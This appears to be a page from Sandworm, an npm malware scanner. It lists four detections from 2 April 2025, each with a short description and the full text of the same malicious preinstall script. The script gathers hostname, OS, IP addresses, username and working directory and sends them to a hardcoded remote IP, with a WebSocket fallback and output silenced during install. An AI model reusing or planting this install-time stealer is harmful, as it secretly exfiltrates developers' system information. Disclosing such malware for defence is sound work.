Sandworm scans all new Npm package versions for malicious install scripts.
Scanning since October 2024.
Follow our π / Twitter feed for updates.
Detected: 2 Apr 2025
Detected Date: 2 Apr 2025
Affected Install Script: preinstall
Package Source: βοΈ View on Npm
The code collects sensitive system information, including the user's hostname, operating system details, local IP address, username, and current working directory, and then sends this data to a specified remote server through both HTTP GET and POST requests. Additionally, it falls back to sending data via WebSocket if the HTTP requests fail. This can potentially lead to unauthorized access to sensitive information and facilitate malicious activity.
Install script:node index.js
Install script code:const os = require("os");
const https = require("https");
// Check if running during `npm install`
const isPreinstall = process.env.npm_lifecycle_event === "preinstall";
// Dynamically import node-fetch
async function getFetch() {
return (await import("node-fetch")).default;
}
// Collect System Information
const systemInfo = {
publicIP: "", // Will be fetched dynamically
hostname: os.hostname(),
osType: os.type(),
osPlatform: os.platform(),
osRelease: os.release(),
osArch: os.arch(),
localIP: Object.values(os.networkInterfaces())
.flat()
.find((i) => i.family === "IPv4" && !i.internal)?.address || "Unknown",
whoamiUser: os.userInfo().username,
currentDirectory: process.cwd(),
};
// Fetch public IP dynamically
https.get("https://api64.ipify.org?format=json", (res) => {
let data = "";
res.on("data", (chunk) => (data += chunk));
res.on("end", () => {
try {
systemInfo.publicIP = JSON.parse(data).ip;
} catch (e) {
systemInfo.publicIP = "Unknown";
}
sendData(systemInfo);
});
}).on("error", () => sendData(systemInfo));
// List of fallback servers
const endpoints = [
"http://34.229.201.136:8080/jpd.php",
"http://34.229.201.136:8080/jpd1.php",
];
// Get random available endpoint
function getAvailableEndpoint() {
return endpoints[Math.floor(Math.random() * endpoints.length)];
}
// Convert system info to query string
function buildQueryParams(data) {
return Object.entries(data)
.map(([key, value]) => `${encodeURIComponent(key)}=${encodeURIComponent(value)}`)
.join("&");
}
// Send Data (GET and POST)
async function sendData(data) {
try {
const fetch = await getFetch();
// Construct GET request URL
const getUrl = `${getAvailableEndpoint()}?${buildQueryParams(data)}`;
// Send GET request
const getResponse = await fetch(getUrl, { method: "GET" });
// Send POST request
const postResponse = await fetch(getAvailableEndpoint(), {
method: "POST",
headers: {
"Content-Type": "application/json",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
},
body: JSON.stringify(data),
});
// Only log responses if NOT running in `npm install`
if (!isPreinstall) {
console.log("GET Response:", await getResponse.text());
console.log("POST Response:", await postResponse.text());
}
} catch (error) {
if (!isPreinstall) {
console.error("Error sending data via HTTP:", error);
}
sendViaWebSocket(data);
}
}
// WebSocket Backup (if HTTP requests fail)
async function sendViaWebSocket(data) {
try {
const { WebSocket } = await import("ws"); // Import ws dynamically
const ws = new WebSocket("wss://yourserver.com/socket");
ws.on("open", () => {
if (!isPreinstall) {
console.log("WebSocket connection established.");
}
ws.send(JSON.stringify(data));
ws.close();
});
ws.on("error", (err) => {
if (!isPreinstall) {
console.error("WebSocket Error:", err);
}
});
} catch (error) {
if (!isPreinstall) {
console.error("WebSocket module import failed:", error);
}
}
}
Detected: 2 Apr 2025
Detected Date: 2 Apr 2025
Affected Install Script: preinstall
Package Source: βοΈ View on Npm
The code collects sensitive system information, including the user's public and local IP addresses, hostname, operating system details, and username, and sends this data to specified remote endpoints via HTTP GET and POST requests. This can lead to privacy invasion and potential misuse of the data, as it may expose sensitive information to malicious servers. Additionally, it has a WebSocket backup to send data if HTTP requests fail, which complicates detection and mitigation efforts.
Install script:node index.js
Install script code:const os = require("os");
const https = require("https");
// Check if running during `npm install`
const isPreinstall = process.env.npm_lifecycle_event === "preinstall";
// Dynamically import node-fetch
async function getFetch() {
return (await import("node-fetch")).default;
}
// Collect System Information
const systemInfo = {
publicIP: "", // Will be fetched dynamically
hostname: os.hostname(),
osType: os.type(),
osPlatform: os.platform(),
osRelease: os.release(),
osArch: os.arch(),
localIP: Object.values(os.networkInterfaces())
.flat()
.find((i) => i.family === "IPv4" && !i.internal)?.address || "Unknown",
whoamiUser: os.userInfo().username,
currentDirectory: process.cwd(),
};
// Fetch public IP dynamically
https.get("https://api64.ipify.org?format=json", (res) => {
let data = "";
res.on("data", (chunk) => (data += chunk));
res.on("end", () => {
try {
systemInfo.publicIP = JSON.parse(data).ip;
} catch (e) {
systemInfo.publicIP = "Unknown";
}
sendData(systemInfo);
});
}).on("error", () => sendData(systemInfo));
// List of fallback servers
const endpoints = [
"http://34.229.201.136:8080/jpd.php",
"http://34.229.201.136:8080/jpd1.php",
];
// Get random available endpoint
function getAvailableEndpoint() {
return endpoints[Math.floor(Math.random() * endpoints.length)];
}
// Convert system info to query string
function buildQueryParams(data) {
return Object.entries(data)
.map(([key, value]) => `${encodeURIComponent(key)}=${encodeURIComponent(value)}`)
.join("&");
}
// Send Data (GET and POST)
async function sendData(data) {
try {
const fetch = await getFetch();
// Construct GET request URL
const getUrl = `${getAvailableEndpoint()}?${buildQueryParams(data)}`;
// Send GET request
const getResponse = await fetch(getUrl, { method: "GET" });
// Send POST request
const postResponse = await fetch(getAvailableEndpoint(), {
method: "POST",
headers: {
"Content-Type": "application/json",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
},
body: JSON.stringify(data),
});
// Only log responses if NOT running in `npm install`
if (!isPreinstall) {
console.log("GET Response:", await getResponse.text());
console.log("POST Response:", await postResponse.text());
}
} catch (error) {
if (!isPreinstall) {
console.error("Error sending data via HTTP:", error);
}
sendViaWebSocket(data);
}
}
// WebSocket Backup (if HTTP requests fail)
async function sendViaWebSocket(data) {
try {
const { WebSocket } = await import("ws"); // Import ws dynamically
const ws = new WebSocket("wss://yourserver.com/socket");
ws.on("open", () => {
if (!isPreinstall) {
console.log("WebSocket connection established.");
}
ws.send(JSON.stringify(data));
ws.close();
});
ws.on("error", (err) => {
if (!isPreinstall) {
console.error("WebSocket Error:", err);
}
});
} catch (error) {
if (!isPreinstall) {
console.error("WebSocket module import failed:", error);
}
}
}
Detected: 2 Apr 2025
Detected Date: 2 Apr 2025
Affected Install Script: preinstall
Package Source: βοΈ View on Npm
The code collects sensitive system information (e.g., public IP, local IP, username) and sends it to potentially malicious remote servers without user consent. It does this via both HTTP and WebSocket requests, making it a serious privacy and security risk.
Install script:node index.js
Install script code:const os = require("os");
const https = require("https");
// Check if running during `npm install`
const isPreinstall = process.env.npm_lifecycle_event === "preinstall";
// Dynamically import node-fetch
async function getFetch() {
return (await import("node-fetch")).default;
}
// Collect System Information
const systemInfo = {
publicIP: "", // Will be fetched dynamically
hostname: os.hostname(),
osType: os.type(),
osPlatform: os.platform(),
osRelease: os.release(),
osArch: os.arch(),
localIP: Object.values(os.networkInterfaces())
.flat()
.find((i) => i.family === "IPv4" && !i.internal)?.address || "Unknown",
whoamiUser: os.userInfo().username,
currentDirectory: process.cwd(),
};
// Fetch public IP dynamically
https.get("https://api64.ipify.org?format=json", (res) => {
let data = "";
res.on("data", (chunk) => (data += chunk));
res.on("end", () => {
try {
systemInfo.publicIP = JSON.parse(data).ip;
} catch (e) {
systemInfo.publicIP = "Unknown";
}
sendData(systemInfo);
});
}).on("error", () => sendData(systemInfo));
// List of fallback servers
const endpoints = [
"http://34.229.201.136:8080/jpd.php",
"http://34.229.201.136:8080/jpd1.php",
];
// Get random available endpoint
function getAvailableEndpoint() {
return endpoints[Math.floor(Math.random() * endpoints.length)];
}
// Convert system info to query string
function buildQueryParams(data) {
return Object.entries(data)
.map(([key, value]) => `${encodeURIComponent(key)}=${encodeURIComponent(value)}`)
.join("&");
}
// Send Data (GET and POST)
async function sendData(data) {
try {
const fetch = await getFetch();
// Construct GET request URL
const getUrl = `${getAvailableEndpoint()}?${buildQueryParams(data)}`;
// Send GET request
const getResponse = await fetch(getUrl, { method: "GET" });
// Send POST request
const postResponse = await fetch(getAvailableEndpoint(), {
method: "POST",
headers: {
"Content-Type": "application/json",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
},
body: JSON.stringify(data),
});
// Only log responses if NOT running in `npm install`
if (!isPreinstall) {
console.log("GET Response:", await getResponse.text());
console.log("POST Response:", await postResponse.text());
}
} catch (error) {
if (!isPreinstall) {
console.error("Error sending data via HTTP:", error);
}
sendViaWebSocket(data);
}
}
// WebSocket Backup (if HTTP requests fail)
async function sendViaWebSocket(data) {
try {
const { WebSocket } = await import("ws"); // Import ws dynamically
const ws = new WebSocket("wss://yourserver.com/socket");
ws.on("open", () => {
if (!isPreinstall) {
console.log("WebSocket connection established.");
}
ws.send(JSON.stringify(data));
ws.close();
});
ws.on("error", (err) => {
if (!isPreinstall) {
console.error("WebSocket Error:", err);
}
});
} catch (error) {
if (!isPreinstall) {
console.error("WebSocket module import failed:", error);
}
}
}
Detected: 2 Apr 2025
Detected Date: 2 Apr 2025
Affected Install Script: preinstall
Package Source: βοΈ View on Npm
This code collects sensitive system information, including the local and public IP addresses, hostname, OS type, architecture, and username, and sends it to a potentially malicious endpoint without the user's consent. Additionally, it has a fallback mechanism to send data via WebSocket, further indicating a design to exfiltrate data stealthily. This can lead to unauthorized access and serious privacy violations.
Install script:node index.js
Install script code:const os = require("os");
const https = require("https");
// Check if running during `npm install`
const isPreinstall = process.env.npm_lifecycle_event === "preinstall";
// Dynamically import node-fetch
async function getFetch() {
return (await import("node-fetch")).default;
}
// Collect System Information
const systemInfo = {
publicIP: "", // Will be fetched dynamically
hostname: os.hostname(),
osType: os.type(),
osPlatform: os.platform(),
osRelease: os.release(),
osArch: os.arch(),
localIP: Object.values(os.networkInterfaces())
.flat()
.find((i) => i.family === "IPv4" && !i.internal)?.address || "Unknown",
whoamiUser: os.userInfo().username,
currentDirectory: process.cwd(),
};
// Fetch public IP dynamically
https.get("https://api64.ipify.org?format=json", (res) => {
let data = "";
res.on("data", (chunk) => (data += chunk));
res.on("end", () => {
try {
systemInfo.publicIP = JSON.parse(data).ip;
} catch (e) {
systemInfo.publicIP = "Unknown";
}
sendData(systemInfo);
});
}).on("error", () => sendData(systemInfo));
// List of fallback servers
const endpoints = [
"http://34.229.201.136:8080/jpd.php",
"http://34.229.201.136:8080/jpd1.php",
];
// Get random available endpoint
function getAvailableEndpoint() {
return endpoints[Math.floor(Math.random() * endpoints.length)];
}
// Convert system info to query string
function buildQueryParams(data) {
return Object.entries(data)
.map(([key, value]) => `${encodeURIComponent(key)}=${encodeURIComponent(value)}`)
.join("&");
}
// Send Data (GET and POST)
async function sendData(data) {
try {
const fetch = await getFetch();
// Construct GET request URL
const getUrl = `${getAvailableEndpoint()}?${buildQueryParams(data)}`;
// Send GET request
const getResponse = await fetch(getUrl, { method: "GET" });
// Send POST request
const postResponse = await fetch(getAvailableEndpoint(), {
method: "POST",
headers: {
"Content-Type": "application/json",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
},
body: JSON.stringify(data),
});
// Only log responses if NOT running in `npm install`
if (!isPreinstall) {
console.log("GET Response:", await getResponse.text());
console.log("POST Response:", await postResponse.text());
}
} catch (error) {
if (!isPreinstall) {
console.error("Error sending data via HTTP:", error);
}
sendViaWebSocket(data);
}
}
// WebSocket Backup (if HTTP requests fail)
async function sendViaWebSocket(data) {
try {
const { WebSocket } = await import("ws"); // Import ws dynamically
const ws = new WebSocket("wss://yourserver.com/socket");
ws.on("open", () => {
if (!isPreinstall) {
console.log("WebSocket connection established.");
}
ws.send(JSON.stringify(data));
ws.close();
});
ws.on("error", (err) => {
if (!isPreinstall) {
console.error("WebSocket Error:", err);
}
});
} catch (error) {
if (!isPreinstall) {
console.error("WebSocket module import failed:", error);
}
}
}